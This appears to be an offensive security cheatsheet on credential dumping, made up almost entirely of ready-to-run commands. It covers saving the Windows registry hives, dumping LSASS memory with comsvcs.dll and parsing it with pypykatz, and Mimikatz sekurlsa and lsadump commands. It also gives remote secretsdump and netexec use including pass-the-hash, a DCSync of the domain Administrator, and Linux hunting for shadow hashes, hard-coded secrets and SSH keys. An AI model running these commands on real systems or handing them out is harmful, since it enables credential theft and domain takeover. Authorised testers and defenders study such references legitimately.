Credential Dumping — Cheatsheet
LSASS, SAM/SYSTEM, LSA secrets, DPAPI, and remote secretsdump.
Credential Dumping — Cheatsheet
Windows — save the local hives
Save the SAM hive (contains local password hashes).
$reg save HKLM\SAM sam.hiveSave the SYSTEM hive (holds the key to decrypt SAM).
$reg save HKLM\SYSTEM system.hiveSave the SECURITY hive (cached domain creds / LSA secrets).
$reg save HKLM\SECURITY security.hiveExtract hashes from the saved hives offline.
$impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCALWindows — dump LSASS memory
Find the LSASS process ID.
$tasklist /fi "imagename eq lsass.exe"Dump LSASS to disk using a built-in DLL (living off the land).
$rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp fullParse the dump offline to recover credentials.
$pypykatz lsa minidump lsass.dmpMimikatz (run from an elevated prompt)
Enable the debug privilege, then dump logged-on plaintext/hashes.
01privilege::debug02sekurlsa::logonpasswordsDump the local SAM database.
01lsadump::samDump LSA secrets (service account passwords, etc.).
01lsadump::lsa /patchRemote (with creds or a hash)
Dump SAM + LSA remotely with creds.
$impacket-secretsdump $DOMAIN/$USER:$PASS@$IPPull the local SAM and LSA over SMB via netexec.
$nxc smb $IP -u $USER -p $PASS --sam --lsaSame but authenticating with a hash (pass-the-hash).
$nxc smb $IP -u $USER -H <ntlm_hash> --lsaDCSync (whole domain)
Replicate a single account's hash from the DC.
$impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc-user AdministratorLinux loot
Read the shadow file for crackable hashes (if root).
$cat /etc/shadowGrep the filesystem for hard-coded secrets.
$grep -rniE 'password|passwd|api[_-]?key|secret' /var/www /home /opt 2>/dev/nullHunt for SSH private keys to reuse.
$find / -name id_rsa 2>/dev/null